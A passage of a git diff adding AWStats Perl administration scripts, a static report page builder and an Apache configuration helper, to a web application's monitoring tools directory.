s/__${var}__/$ENV{$var}/g; } + } + + # Extra parameters + if ($param =~ /^ExtraSectionName(\d+)/) { $ExtraName[$1]=$value; next; } + + # Plugins + if ( $param =~ /^LoadPlugin/ ) { push @PluginsToLoad, $value; next; } + + # If parameters was not found previously, defined variable with name of param to value + print $param."-".$value."\n"; + $$param=$value; + } + + if ($Debug) { debug("Config file read was \"$configFile\" (level $level)"); } +} + + + + +#------------------------------------------------------------------------------ +# MAIN +#------------------------------------------------------------------------------ +($DIR=$0) =~ s/([^\/\\]*)$//; ($PROG=$1) =~ s/\.([^\.]*)$//; $Extension=$1; + +my $QueryString=''; for (0..@ARGV-1) { $QueryString .= "$ARGV[$_]&"; } + +if ($QueryString =~ /(^|-|&)month=(year)/i) { error("month=year is a deprecated option. Use month=all instead."); } + +if ($QueryString =~ /(^|-|&)debug=(\d+)/i) { $Debug=$2; } +if ($QueryString =~ /(^|-|&)configdir=([^&]+)/i) { $DirConfig="$2"; } +if ($QueryString =~ /(^|-|&)config=([^&]+)/i) { $SiteConfig="$2"; } +if ($QueryString =~ /(^|-|&)databasebreak=([^&]+)/i) { $DatabaseBreak="$2"; } +if ($QueryString =~ /(^|-|&)awstatsprog=([^&]+)/i) { $Awstats="$2"; } +if ($QueryString =~ /(^|-|&)buildpdf/i) { $BuildPDF=1; } +if ($QueryString =~ /(^|-|&)buildpdf=([^&]+)/i) { $HtmlDoc="$2"; } +if ($QueryString =~ /(^|-|&)staticlinksext=([^&]+)/i) { $StaticExt="$2"; } +if ($QueryString =~ /(^|-|&)dir=([^&]+)/i) { $OutputDir="$2"; } +if ($QueryString =~ /(^|-|&)diricons=([^&]+)/i) { $DirIcons="$2"; } +if ($QueryString =~ /(^|-|&)update/i) { $Update=1; } +if ($QueryString =~ /(^|-|&)builddate=?([^&]*)/i) { $BuildDate=$2||'%YY%MM%DD'; } +if ($QueryString =~ /(^|-|&)year=(\d\d\d\d)/i) { $YearRequired="$2"; } +if ($QueryString =~ /(^|-|&)month=(\d{1,2})/i || $QueryString =~ /(^|-|&)month=(all)/i) { $MonthRequired="$2"; } +if ($QueryString =~ /(^|-|&)day=(\d{1,2})/i) { $DayRequired="$2"; } + +if ($QueryString =~ /(^|-|&)lang=([^&]+)/i) { $Lang="$2"; } + +if ($OutputDir) { if ($OutputDir !~ /[\\\/]$/) { $OutputDir.="/"; } } + +if (! $SiteConfig) { + print "----- $PROG $VERSION (c) Laurent Destailleur -----\n"; + print "$PROG allows you to launch AWStats with -staticlinks option\n"; + print "to build all possible pages allowed by AWStats -output option.\n"; + print "\n"; + print "Usage:\n"; + print "$PROG.$Extension (awstats_options) [awstatsbuildstaticpages_options]\n"; + print "\n"; + print " where awstats_options are any option known by AWStats\n"; + print " -config=configvalue is value for -config parameter (REQUIRED)\n"; + print " -update option used to update statistics before to generate pages\n"; + print " -lang=LL to output a HTML report in language LL (en,de,es,fr,...)\n"; + print " -month=MM to output a HTML report for an old month=MM\n"; + print " -year=YYYY to output a HTML report for an old year=YYYY\n"; + print "\n"; + print " and awstatsbuildstaticpages_options can be\n"; + print " -awstatsprog=pathtoawstatspl AWStats software (awstats.pl) path\n"; + print " -dir=outputdir Output directory for generated pages\n"; + print " -diricons=icondir Relative path to use as icon dir in <img> links\n"; + print " -builddate=%YY%MM%DD Used to add build date in built pages filenames\n"; + print " -staticlinksext=xxx Build pages with .xxx extension (default .html)\n"; + print " -buildpdf[=pathtohtmldoc] Build a PDF file after building HTML pages.\n"; + print " Output directory must contains icon directory\n"; + print " when this option is used (need 'htmldoc')\n"; + print "\n"; + print "New versions and FAQ at http://www.awstats.org\n"; + exit 0; +} + + +my $retour; + +# Check if AWSTATS prog is found +my $AwstatsFound=0; +if (-s "$Awstats") { $AwstatsFound=1; } +elsif (-s "/usr/local/awstats/wwwroot/cgi-bin/awstats.pl") { + $Awstats="/usr/local/awstats/wwwroot/cgi-bin/awstats.pl"; + $AwstatsFound=1; +} +if (! $AwstatsFound) { + error("Can't find AWStats program ('$Awstats').\nUse -awstatsprog option to solve this"); + exit 1; +} +$AwstatsDir=$Awstats; $AwstatsDir =~ s/[\\\/][^\\\/]*$//; +debug("AwstatsDir=$AwstatsDir"); + +# Check if HTMLDOC prog is found +if ($BuildPDF) { + my $HtmlDocFound=0; + if (-x "$HtmlDoc") { $HtmlDocFound=1; } + elsif (-x "/usr/bin/htmldoc") { + $HtmlDoc='/usr/bin/htmldoc'; + $HtmlDocFound=1; + } + if (! $HtmlDocFound) { + error("Can't find htmldoc program ('$HtmlDoc').\nUse -buildpdf=htmldocprog option to solve this"); + exit 1; + } +} + +# Read config file (SiteConfig must be defined) +&Read_Config($DirConfig); + +if ($BuildReportFormat eq 'xhtml') { + $StaticExt="xml"; + if ($BuildPDF) { + error("Building PDF file is not compatible with building xml output files. Change your parameter BuildReportFormat to html in your config file"); + } +} + +# Define list of output files +if ($ShowDomainsStats) { push @OutputList,'alldomains'; } +if ($ShowHostsStats) { push @OutputList,'allhosts'; push @OutputList,'lasthosts'; push @OutputList,'unknownip'; } +if ($ShowAuthenticatedUsers) { push @OutputList,'alllogins'; push @OutputList,'lastlogins'; } +if ($ShowRobotsStats) { push @OutputList,'allrobots'; push @OutputList,'lastrobots'; } +if ($ShowEMailSenders) { push @OutputList,'allemails'; push @OutputList,'lastemails'; } +if ($ShowEMailReceivers) { push @OutputList,'allemailr'; push @OutputList,'lastemailr'; } +if ($ShowSessionsStats) { push @OutputList,'session'; } +if ($ShowPagesStats) { push @OutputList,'urldetail'; push @OutputList,'urlentry'; push @OutputList,'urlexit'; } +#if ($ShowFileTypesStats) { push @OutputList,'filetypes'; } # There is dedicated page for filetypes +if ($ShowOSStats) { push @OutputList,'osdetail'; push @OutputList,'unknownos'; } +if ($ShowBrowsersStats) { push @OutputList,'browserdetail'; push @OutputList,'unknownbrowser'; } +if ($ShowDownloadsStats) { push @OutputList,'downloads'; } +if ($ShowScreenSizeStats) { push @OutputList,'screensize'; } +if ($ShowOriginStats) { push @OutputList,'refererse'; push @OutputList,'refererpages'; } +if ($ShowKeyphrasesStats) { push @OutputList,'keyphrases'; } +if ($ShowKeywordsStats) { push @OutputList,'keywords'; } +#if ($ShowMiscStats) { push @OutputList,'misc'; } # There is no dedicated page for misc +if ($ShowHTTPErrorsStats) { + #push @OutputList,'errors'; # There is no dedicated page for errors + push @OutputList,'errors404'; +} +#if ($ShowSMTPErrorsStats) { push @OutputList,'errors'; } +foreach my $extranum (1..@ExtraName-1) { + push @OutputList,'allextra'.$extranum; +} +#Add plugins +foreach ( @PluginsToLoad ) { + if ($_ =~ /^(geoip_[_a-z]+)\s/) { push @OutputList,'plugin_'.$1; } # Add geoip maxmind subpages +} + + +# Launch awstats update +if ($Update) { + my $command="\"$Awstats\" -config=$SiteConfig -update"; + $command .= " -configdir=$DirConfig" if defined $DirConfig; + $command .= " -databasebreak=$DatabaseBreak" if defined $DatabaseBreak; + print "Launch update process : $command\n"; + $retour=`$command 2>&1`; +} + +# Built the OutputSuffix value (used later to build page name) +$OutputSuffix=$SiteConfig; +if ($BuildDate) { + ($nowsec,$nowmin,$nowhour,$nowday,$nowmonth,$nowyear,$nowwday,$nowyday) = localtime(time); + $nowweekofmonth=int($nowday/7); + $nowweekofyear=int(($nowyday-1+6-($nowwday==0?6:$nowwday-1))/7)+1; if ($nowweekofyear > 52) { $nowweekofyear = 1; } + $nowdaymod=$nowday%7; + $nowwday++; + $nowns=Time::Local::timegm(0,0,0,$nowday,$nowmonth,$nowyear); + if ($nowdaymod <= $nowwday) { if (($nowwday != 7) || ($nowdaymod != 0)) { $nowweekofmonth=$nowweekofmonth+1; } } + if ($nowdaymod > $nowwday) { $nowweekofmonth=$nowweekofmonth+2; } + # Change format of time variables + $nowweekofmonth="0$nowweekofmonth"; + if ($nowweekofyear < 10) { $nowweekofyear = "0$nowweekofyear"; } + if ($nowyear < 100) { $nowyear+=2000; } else { $nowyear+=1900; } + $nowsmallyear=$nowyear;$nowsmallyear =~ s/^..//; + if (++$nowmonth < 10) { $nowmonth = "0$nowmonth"; } + if ($nowday < 10) { $nowday = "0$nowday"; } + if ($nowhour < 10) { $nowhour = "0$nowhour"; } + if ($nowmin < 10) { $nowmin = "0$nowmin"; } + if ($nowsec < 10) { $nowsec = "0$nowsec"; } + # Replace tag with new value + $BuildDate =~ s/%YYYY/$nowyear/ig; + $BuildDate =~ s/%YY/$nowsmallyear/ig; + $BuildDate =~ s/%MM/$nowmonth/ig; + #$BuildDate =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig; + $BuildDate =~ s/%DD/$nowday/ig; + $BuildDate =~ s/%HH/$nowhour/ig; + $BuildDate =~ s/%NS/$nowns/ig; + $BuildDate =~ s/%WM/$nowweekofmonth/g; + my $nowweekofmonth0=$nowweekofmonth-1; $BuildDate =~ s/%Wm/$nowweekofmonth0/g; + $BuildDate =~ s/%WY/$nowweekofyear/g; + my $nowweekofyear0=sprintf("%02d",$nowweekofyear-1); $BuildDate =~ s/%Wy/$nowweekofyear0/g; + $BuildDate =~ s/%DW/$nowwday/g; + my $nowwday0=$nowwday-1; $BuildDate =~ s/%Dw/$nowwday0/g; + $OutputSuffix.=".$BuildDate"; +} + +my $cpt=0; +my $NoLoadPlugin=""; +if ($BuildPDF) { $NoLoadPlugin.="tooltips,rawlog,hostinfo"; } +my $smallcommand="\"$Awstats\" -config=$SiteConfig".($BuildPDF?" -buildpdf":"").($NoLoadPlugin?" -noloadplugin=$NoLoadPlugin":"").($DatabaseBreak?" -databasebreak=$DatabaseBreak":"")." -staticlinks".($OutputSuffix ne $SiteConfig?"=$OutputSuffix":""); +if ($StaticExt && $StaticExt ne 'html') { $smallcommand.=" -staticlinksext=$StaticExt"; } +if ($DirIcons) { $smallcommand.=" -diricons=$DirIcons"; } +if ($DirConfig) { $smallcommand.=" -configdir=$DirConfig"; } +if ($Lang) { $smallcommand.=" -lang=$Lang"; } +if ($DayRequired) { $smallcommand.=" -day=$DayRequired"; } +if ($MonthRequired) { $smallcommand.=" -month=$MonthRequired"; } +if ($YearRequired) { $smallcommand.=" -year=$YearRequired"; } + +# Launch main awstats output +my $command="$smallcommand -output"; +print "Build main page: $command\n"; +$retour=`$command 2>&1`; +$OutputFile=($OutputDir?$OutputDir:"")."awstats.$OutputSuffix.$StaticExt"; +open("OUTPUT",">$OutputFile") || error("Couldn't open log file \"$OutputFile\" for writing : $!"); +print OUTPUT $retour; +close("OUTPUT"); +$cpt++; +push @pages, $OutputFile; # Add page to @page for PDF build + +# Launch all other awstats output +for my $output (@OutputList) { + my $command="$smallcommand -output=$output"; + print "Build $output page: $command\n"; + $retour=`$command 2>&1`; + $OutputFile=($OutputDir?$OutputDir:"")."awstats.$OutputSuffix.$output.$StaticExt"; + open("OUTPUT",">$OutputFile") || error("Couldn't open log file \"$OutputFile\" for writing : $!"); + print OUTPUT $retour; + close("OUTPUT"); + $cpt++; + push @pages, $OutputFile; # Add page to @page for PDF build +} + +# Build pdf file +if ($QueryString =~ /(^|-|&)buildpdf/i) { +# my $pdffile=$pages[0]; $pdffile=~s/\.\w+$/\.pdf/; + $OutputFile=($OutputDir?$OutputDir:"")."awstats.$OutputSuffix.pdf"; + my $command="\"$HtmlDoc\" -t pdf --webpage --quiet --no-title --textfont helvetica --left 16 --bottom 8 --top 8 --browserwidth 800 --headfootsize 8.0 --fontsize 7.0 --header xtx --footer xd/ --outfile $OutputFile @pages\n"; + print "Build PDF file : $command\n"; + $retour=`$command 2>&1`; + my $signal_num=$? & 127; + my $dumped_core=$? & 128; + my $exit_value=$? >> 8; + if ($? || $retour =~ /error/) { + if ($retour) { error("Failed to build PDF file with following error: $retour"); } + else { error("Failed to run successfuly htmldoc process: Return code=$exit_value, Killer signal num=$signal_num, Core dump=$dumped_core"); } + } + $cpt++; +} + + +print "$cpt files built.\n"; +print "Main HTML page is 'awstats.$OutputSuffix.$StaticExt'.\n"; +if ($QueryString =~ /(^|-|&)buildpdf/i) { print "PDF file is 'awstats.$OutputSuffix.pdf'.\n"; } + +0; # Do not remove this line diff --git a/src/main/webapp/monitoramento/tools/awstats_configure.pl b/src/main/webapp/monitoramento/tools/awstats_configure.pl new file mode 100644 index 0000000..4640830 --- /dev/null +++ b/src/main/webapp/monitoramento/tools/awstats_configure.pl @@ -0,0 +1,770 @@ +#!/usr/bin/perl +#------------------------------------------------------- +# This script configures AWStats so that it works immediately. +# - Get Apache config file from registry (ask if not found) +# - Change common log to combined (ask to confirm) +# - Add AWStats directives +# - Restart web server +# - Create AWStats config file +# See COPYING.TXT file about AWStats GNU General Public License. +#------------------------------------------------------- +# $Revision: 1.9 $ - $Author: eldy $ - $Date: 2009/12/28 00:52:13 $ +require 5.005; + +use strict; + + +#------------------------------------------------------- +# IF YOU ARE A PACKAGE BUILDER, CHANGE THIS TO MATCH YOUR PATH +# SO THAT THE CONFIGURE WILL WORK ON YOUR DISTRIB !!! +# Following path are the one +#------------------------------------------------------- +use vars qw/ +$AWSTATS_PATH +$AWSTATS_ICON_PATH +$AWSTATS_CSS_PATH +$AWSTATS_CLASSES_PATH +$AWSTATS_CGI_PATH +$AWSTATS_MODEL_CONFIG +$AWSTATS_DIRDATA_PATH +/; +$AWSTATS_PATH=''; +$AWSTATS_ICON_PATH='/usr/local/awstats/wwwroot/icon'; +$AWSTATS_CSS_PATH='/usr/local/awstats/wwwroot/css'; +$AWSTATS_CLASSES_PATH='/usr/local/awstats/wwwroot/classes'; +$AWSTATS_CGI_PATH='/usr/local/awstats/wwwroot/cgi-bin'; +$AWSTATS_MODEL_CONFIG='/etc/awstats/awstats.model.conf'; # Used only when configure ran on linux +$AWSTATS_DIRDATA_PATH='/var/lib/awstats'; # Used only when configure ran on linux + + + +#------------------------------------------------------- +# Defines +#------------------------------------------------------- +# For windows registry management +my $reg; +eval('use Win32::TieRegistry ( Delimiter=>"/", TiedRef=>\$reg )'); + +use vars qw/ $REVISION $VERSION /; +$REVISION='$Revision: 1.9 $'; $REVISION =~ /\s(.*)\s/; $REVISION=$1; +$VERSION="1.0 (build $REVISION)"; + +use vars qw/ +$DIR $PROG $Extension $Debug +/; + +use vars qw/ +@WEBCONF +/; +# Possible dirs for Apache conf files +@WEBCONF=( +'C:/Program Files/Apache Group/Apache2/conf/httpd.conf', +'C:/Program Files/Apache Group/Apache/conf/httpd.conf', +'/Applications/MAMP/conf/apache/httpd.conf', +'/etc/httpd/httpd.conf', +'/usr/local/apache/conf/httpd.conf', +'/usr/local/apache2/conf/httpd.conf', +); + +use vars qw/ +$WebServerChanged $UseAlias $Step +%LogFormat %ConfToChange +%OSLib +/; +$WebServerChanged=0; +$UseAlias=0; +%LogFormat=(); +%ConfToChange=(); +%OSLib=('linux'=>'Linux, BSD or Unix','macosx'=>'Mac OS','windows'=>'Windows'); +$Step=0; + + + +#------------------------------------------------------- +# Functions +#------------------------------------------------------- + +#------------------------------------------------------- +# error +#------------------------------------------------------- +sub error { + print "Error: $_[0].\n"; + exit 1; +} + +#------------------------------------------------------- +# debug +#------------------------------------------------------- +sub debug { + my $level = $_[1] || 1; + if ($Debug >= $level) { + my $debugstring = $_[0]; + if ($ENV{"GATEWAY_INTERFACE"}) { $debugstring =~ s/^ /   /; $debugstring .= "<br />"; } + print "DEBUG $level - ".time." : $debugstring\n"; + } + 0; +} + +#------------------------------------------------------- +# update_httpd_config +# Replace common to combined in Apache config file +#------------------------------------------------------- +sub update_httpd_config +{ + my $file=shift; + if (! $file) { error("Call to update_httpd_config with wrong parameter"); } + + open(FILE, $file) || error("Failed to open $file for update"); + open(FILETMP, ">$file.tmp") || error("Failed to open $file.tmp for writing"); + + # $%conf contains param and values + my %confchanged=(); + my $conflinenb = 0; + + # First, change values that are already present in old config file + while(<FILE>) { + my $savline=$_; + + chomp $_; s/\r//; + $conflinenb++; + + # Remove comments not at beginning of line + $_ =~ s/\s#.*$//; + + # Change line + if ($_ =~ /^(\s*)CustomLog\s(.*)\scommon$/i) { $savline="$1CustomLog $2 combined"; } + + # Write line + print FILETMP "$savline"; + } + + close(FILE); + close(FILETMP); + + # Move file to file.sav + if (rename("$file","$file.old")==0) { + error("Failed to make backup of current config file to $file.old"); + } + + # Move tmp file into config file + if (rename("$file.tmp","$file")==0) { + error("Failed to move tmp config file $file.tmp to $file"); + } + + return 0; +} + +#------------------------------------------------------- +# update_awstats_config +# Update an awstats model [to another one] +#------------------------------------------------------- +sub update_awstats_config +{ +my $file=shift; +my $fileto=shift||"$file.tmp"; + +if (! $file) { error("Call to update_awstats_config with wrong parameter"); } +if ($file =~ /Developpements[\\\/]awstats/i) { + print " This is my dev area. Don't touch.\n"; + return; +} # To avoid script working in my dev area + +open(FILE, $file) || error("Failed to open '$file' for read"); +open(FILETMP, ">$fileto") || error("Failed to open '$fileto' for writing"); + +# $%conf contains param and values +my %confchanged=(); +my $conflinenb = 0; + +# First, change values that are already present in old config file +while(<FILE>) { + my $savline=$_; + + chomp $_; s/\r//; + $conflinenb++; + + # Remove comments not at beginning of line + $_ =~ s/\s#.*$//; + + # Extract param and value + my ($param,$value)=split(/=/,$_,2); + $param =~ s/^\s+//; $param =~ s/\s+$//; + $value =~ s/#.*$//; + $value =~ s/^[\s\'\"]+//; $value =~ s/[\s\'\"]+$//; + + if ($param) { + # cleanparam is param without begining # + my $cleanparam=$param; my $wascleaned=0; + if ($cleanparam =~ s/^#//) { $wascleaned=1; } + if (defined($ConfToChange{"$cleanparam"}) && $ConfToChange{"$cleanparam"}) { $savline = ($wascleaned?"#":"")."$cleanparam=\"".$ConfToChange{"$cleanparam"}."\"\n"; } + } + # Write line + print FILETMP "$savline"; +} + +close(FILE); +close(FILETMP); + +if ($fileto eq "$file.tmp") { + # Move file to file.sav + if (rename("$file","$file.old")==0) { + error("Failed to make backup of current config file to $file.old"); + } + + # Move tmp file into config file + if (rename("$fileto","$file")==0) { + error("Failed to move tmp config file $fileto to $file"); + } + # Remove .old file + unlink "$file.old"; +} +else { + print " Config file $fileto created.\n"; +} +return 0; +} + + + +#------------------------------------------------------- +# MAIN +#------------------------------------------------------- +($DIR=$0) =~ s/([^\/\\]+)$//; ($PROG=$1) =~ s/\.([^\.]*)$//; $Extension=$1; +$DIR||='.'; $DIR =~ s/([^\/\\])[\\\/]+$/$1/; + +my $QueryString=""; for (0..@ARGV-1) { $QueryString .= "$ARGV[$_] "; } +if ($QueryString =~ /debug=/i) { $Debug=$QueryString; $Debug =~ s/.*debug=//; $Debug =~ s/&.*//; $Debug =~ s/ .*//; } + +my $helpfound=0; +my $OS=''; +my $CR=''; +for (0..@ARGV-1) { + if ($ARGV[$_] =~ /^-*h/i) { $helpfound=1; last; } + if ($ARGV[$_] =~ /^-*awstatspath=([^\s\"]+)/i) { $AWSTATS_PATH=$1; last; } +} +# If AWSTATS_PATH was not forced on command line +if (! $AWSTATS_PATH) { + $AWSTATS_PATH=($DIR eq '.'?'..':$DIR); + $AWSTATS_PATH=~s/tools[\\\/]?$//; + $AWSTATS_PATH=~s/[\\\/]$//; +} +# On utilise le format de spearateur / partout (dans Apache et appels Perl) +$AWSTATS_PATH =~ s/\\/\//g; + +# Show usage help +if ($helpfound) { + print "----- AWStats $PROG $VERSION (c) Laurent Destailleur -----\n"; + print "$PROG is a tool to setup AWStats. It works with Apache only.\n"; + print " - Detect Apache config file (ask if not found)\n"; + print " - Change common log to combined (ask to confirm)\n"; + print " - Add AWStats directives\n"; + print " - Restart web server\n"; + print " - Create one AWStats config file (if asked)\n"; + print "\n"; + print "Usage: $PROG.$Extension\n"; + print "\n"; + exit 0; +} + +# Get current time +my $nowtime=time; +my ($nowsec,$nowmin,$nowhour,$nowday,$nowmonth,$nowyear) = localtime($nowtime); +if ($nowyear < 100) { $nowyear+=2000; } else { $nowyear+=1900; } +my $nowsmallyear=$nowyear;$nowsmallyear =~ s/^..//; +if (++$nowmonth < 10) { $nowmonth = "0$nowmonth"; } +if ($nowday < 10) { $nowday = "0$nowday"; } +if ($nowhour < 10) { $nowhour = "0$nowhour"; } +if ($nowmin < 10) { $nowmin = "0$nowmin"; } +if ($nowsec < 10) { $nowsec = "0$nowsec"; } + +print "\n"; +print "----- AWStats $PROG $VERSION (c) Laurent Destailleur -----\n"; +print "This tool will help you to configure AWStats to analyze statistics for\n"; +print "one web server. You can try to use it to let it do all that is possible\n"; +print "in AWStats setup, however following the step by step manual setup\n"; +print "documentation (docs/index.html) is often a better idea. Above all if:\n"; +print "- You are not an administrator user,\n"; +print "- You want to analyze downloaded log files without web server,\n"; +print "- You want to analyze mail or ftp log files instead of web log files,\n"; +print "- You need to analyze load balanced servers log files,\n"; +print "- You want to 'understand' all possible ways to use AWStats...\n"; +print "Read the AWStats documentation (docs/index.html).\n"; + +# Detect OS type +# -------------- +if ("$^O" =~ /linux/i || (-d "/etc" && -d "/var" && "$^O" !~ /cygwin/i)) { $OS='linux'; $CR=''; } +if ("$^O" !~ /linux/i && -d "/etc" && -d "/Users") { $OS='macosx'; $CR=''; } +if ("$^O" =~ /cygwin/i || "$^O" =~ /win32/i) { $OS='windows'; $CR="\r"; } +if (! $OS) { + print "configure.pl was not able to detect your OS. You must configure AWStats\n"; + print "manually following the setup documentation (docs/index.html).\n"; + print "configure.pl aborted.\n"; + exit 1; +} + +#print "Running OS detected: $OS (Perl $^[)\n"; +print "\n-----> Running OS detected: $OSLib{$OS}\n"; + +if ($OS eq 'linux') { + $AWSTATS_PATH=`pwd`; $AWSTATS_PATH =~ s/[\r\n]//; + $AWSTATS_PATH=~s/tools[\\\/]?$//; + $AWSTATS_PATH=~s/[\\\/]$//; + if ($AWSTATS_PATH ne '/usr/local/awstats') { + print "Warning: AWStats standard directory on Linux OS is '/usr/local/awstats'.\n"; + print "If you want to use standard directory, you should first move all content\n"; + print "of AWStats distribution from current directory:\n"; + print "$AWSTATS_PATH\n"; + print "to standard directory:\n"; + print "/usr/local/awstats\n"; + print "And then, run configure.pl from this location.\n"; + print "Do you want to continue setup from this NON standard directory [yN] ? "; + my $bidon=''; + while ($bidon !~ /^[yN]/i) { $bidon=<STDIN>; } + if ($bidon !~ /^y/i) { + print "configure.pl aborted.\n"; + exit 1; + } + $AWSTATS_ICON_PATH="$AWSTATS_PATH/wwwroot/icon"; + $AWSTATS_CSS_PATH="$AWSTATS_PATH/wwwroot/css"; + $AWSTATS_CLASSES_PATH="$AWSTATS_PATH/wwwroot/classes"; + $AWSTATS_CGI_PATH="$AWSTATS_PATH/wwwroot/cgi-bin"; + } +} +elsif ($OS eq 'macosx') { + $AWSTATS_PATH=`pwd`; $AWSTATS_PATH =~ s/[\r\n]//; + $AWSTATS_PATH=~s/tools[\\\/]?$//; + $AWSTATS_PATH=~s/[\\\/]$//; + if ($AWSTATS_PATH ne '/Library/WebServer/awstats') { + print "Warning: AWStats standard directory on Mac OS X is '/Library/WebServer/awstats'.\n"; + print "If you want to use standard directory, you should first move all content\n"; + print "of AWStats distribution from current directory:\n"; + print "$AWSTATS_PATH\n"; + print "to standard directory:\n"; + print "/Library/WebServer/awstats\n"; + print "And then, run configure.pl from this location.\n"; + print "Do you want to continue setup from this NON standard directory [yN] ? "; + my $bidon=''; + while ($bidon !~ /^[yN]/i) { $bidon=<STDIN>; } + if ($bidon !~ /^y/i) { + print "configure.pl aborted.\n"; + exit 1; + } + $AWSTATS_ICON_PATH="$AWSTATS_PATH/wwwroot/icon"; + $AWSTATS_CSS_PATH="$AWSTATS_PATH/wwwroot/css"; + $AWSTATS_CLASSES_PATH="$AWSTATS_PATH/wwwroot/classes"; + $AWSTATS_CGI_PATH="$AWSTATS_PATH/wwwroot/cgi-bin"; + } +} +elsif ($OS eq 'windows') { + # We do not use default values for awstats directives + # but thoose defined from AWSTATS_PATH + $AWSTATS_ICON_PATH="$AWSTATS_PATH/wwwroot/icon"; + $AWSTATS_CSS_PATH="$AWSTATS_PATH/wwwroot/css"; + $AWSTATS_CLASSES_PATH="$AWSTATS_PATH/wwwroot/classes"; + $AWSTATS_CGI_PATH="$AWSTATS_PATH/wwwroot/cgi-bin"; +} + + + +# Detect web server path +# ---------------------- +print "\n-----> Check for web server install\n"; +my %ApachePath=(); # All Apache path found (used on windows only) +my %ApacheConfPath=(); # All Apache config found +my $tips; +if ($OS eq 'linux' || $OS eq 'macosx') { + my $found=0; + foreach my $conf (@WEBCONF) { + if (-s "$conf") { + print " Found Web server Apache config file '$conf'\n"; + $ApacheConfPath{"$conf"}=++$found; + } + } +} +if ($OS eq 'windows' && "$^O" !~ /cygwin/i) { + $reg->Delimiter("/"); + if ($tips=$reg->{"LMachine/Software/Apache Group/Apache/"}) { + # If Apache registry call successfull + my $found=0; + foreach( sort keys %$tips ) { + my $path=$reg->{"LMachine/Software/Apache Group/Apache/$_/ServerRoot"}; + $path=~s/[\\\/]$//; + if (-d "$path" && -s "$path/conf/httpd.conf") { + print " Found a Web server Apache install in '$path'\n"; + $ApachePath{"$path"}=++$found; + $ApacheConfPath{"$path/conf/httpd.conf"}=++$found; + } + } + } +} +if (! scalar keys %ApacheConfPath) { + my $bidon=''; + + if ($OS eq 'windows') { + # Ask web server path (need to restart on windows) + print "$PROG did not find your Apache web main runtime.\n"; + + print "\nPlease, enter full directory path of your Apache web server or\n"; + print "'none' to skip this step if you don't have local web server or\n"; + print "don't have permission to change its setup.\n"; + print "Example: c:\\Program files\\apache group\\apache\n"; + while ($bidon ne 'none' && ! -d "$bidon") { + print "Apache Web server path ('none' to skip):\n> "; + $bidon=<STDIN>; chomp $bidon; + if ($bidon && ! -d "$bidon" && $bidon ne 'none') { print "- The directory '$bidon' does not exists.\n"; } + } + } + + if ($bidon ne 'none') { + if ($bidon) { $ApachePath{"$bidon"}=1; } + + print "\n".($bidon?"Now, enter":"Enter")." full config file path of your Web server.\n"; + print "Example: /etc/httpd/httpd.conf\n"; + print "Example: /usr/local/apache2/conf/httpd.conf\n"; + print "Example: c:\\Program files\\apache group\\apache\\conf\\httpd.conf\n"; + $bidon=''; + while ($bidon ne 'none' && ! -f "$bidon") { + print "Config file path ('none' to skip web server setup):\n> "; + $bidon=<STDIN>; chomp $bidon; + if ($bidon && ! -f "$bidon" && $bidon ne 'none') { print "- This file does not exists.\n"; } + } + if ($bidon ne 'none') { + $ApacheConfPath{"$bidon"}=1; + } + } + +} + +if (! scalar keys %ApacheConfPath) { + print "\n"; + print "Your web server config file(s) could not be found.\n"; + print "You will need to setup your web server manually to declare AWStats\n"; + print "script as a CGI, if you want to build reports dynamically.\n"; + print "See AWStats setup documentation (file docs/index.html)"; + print "\n"; +} + +# Open Apache config file +# ----------------------- +foreach my $key (keys %ApacheConfPath) { + print "\n-----> Check and complete web server config file '$key'\n"; + # Read config file to search for awstats directives + my $commonchangedtocombined=0; + READ: + $LogFormat{$key}=4; + open(CONF,"<$key") || error("Failed to open config file '$key' for reading"); + binmode CONF; + my $awstatsjsfound=0; + my $awstatsclassesfound=0; + my $awstatscssfound=0; + my $awstatsiconsfound=0; + my $awstatscgifound=0; + my $awstatsdirectoryfound=0; + while(<CONF>) + { + if ($_ =~ /^\s*CustomLog\s(.*)\scommon$/i) + { + print "Warning: You Apache config file contains directives to write 'common' log files\n"; + print "This means that some features can't work (os, browsers and keywords detection).\n"; + print "Do you want me to setup Apache to write 'combined' log files [y/N] ? "; + my $bidon=''; + while ($bidon !~ /^[yN]/i) { $bidon=<STDIN>; } + if ($bidon =~ /^y/i) { + close CONF; + update_httpd_config("$key"); + $WebServerChanged=1; + $commonchangedtocombined=1; + goto READ; + } + } + if ($_ =~ /^\s*CustomLog\s(.*)\scombined$/i) { $LogFormat{$key}=1; } + if ($_ =~ /Alias \/awstatsclasses/) { $awstatsclassesfound=1; } + if ($_ =~ /Alias \/awstatscss/) { $awstatscssfound=1; } + if ($_ =~ /Alias \/awstatsicons/) { $awstatsiconsfound=1; } + if ($_ =~ /ScriptAlias \/awstats\//) { $awstatscgifound=1; } + my $awstats_path_quoted=quotemeta($AWSTATS_PATH); + if ($_ =~ /Directory "$awstats_path_quoted\/wwwroot"/) { $awstatsdirectoryfound=1; } + } + close CONF; + + if ($awstatsclassesfound && $awstatscssfound && $awstatsiconsfound && $awstatscgifound && $awstatsdirectoryfound) + { + $UseAlias=1; + if ($commonchangedtocombined) { print " Common log files changed to combined.\n"; } + print " All AWStats directives are already present.\n"; + next; + } + + # Add awstats directives + open(CONF,">>$key") || error("Failed to open config file '$key' for adding AWStats directives"); + binmode CONF; + if (! $awstatsclassesfound || ! $awstatscssfound || ! $awstatsiconsfound || ! $awstatscgifound) { + print CONF "$CR\n"; + print CONF "#$CR\n"; + print CONF "# Directives to allow use of AWStats as a CGI$CR\n"; + print CONF "#$CR\n"; + } + if (! $awstatsclassesfound) { + print " Add 'Alias \/awstatsclasses \"$AWSTATS_CLASSES_PATH\/\"'\n"; + print CONF "Alias \/awstatsclasses \"$AWSTATS_CLASSES_PATH\/\"$CR\n"; + } + if (! $awstatscssfound) { + print " Add 'Alias \/awstatscss \"$AWSTATS_CSS_PATH\/\"'\n"; + print CONF "Alias \/awstatscss \"$AWSTATS_CSS_PATH\/\"$CR\n"; + } + if (! $awstatsiconsfound) { + print " Add 'Alias \/awstatsicons \"$AWSTATS_ICON_PATH\/\"'\n"; + print CONF "Alias \/awstatsicons \"$AWSTATS_ICON_PATH\/\"$CR\n"; + } + if (! $awstatscgifound) { + print " Add 'ScriptAlias \/awstats\/ \"$AWSTATS_CGI_PATH\/\"'\n"; + print CONF "ScriptAlias \/awstats\/ \"$AWSTATS_CGI_PATH\/\"$CR\n"; + } + if (! $awstatsdirectoryfound) { + print " Add '<Directory>' directive\n"; + print CONF "$CR\n"; +print CONF <<EOF; +# +# This is to permit URL access to scripts/files in AWStats directory. +# +<Directory 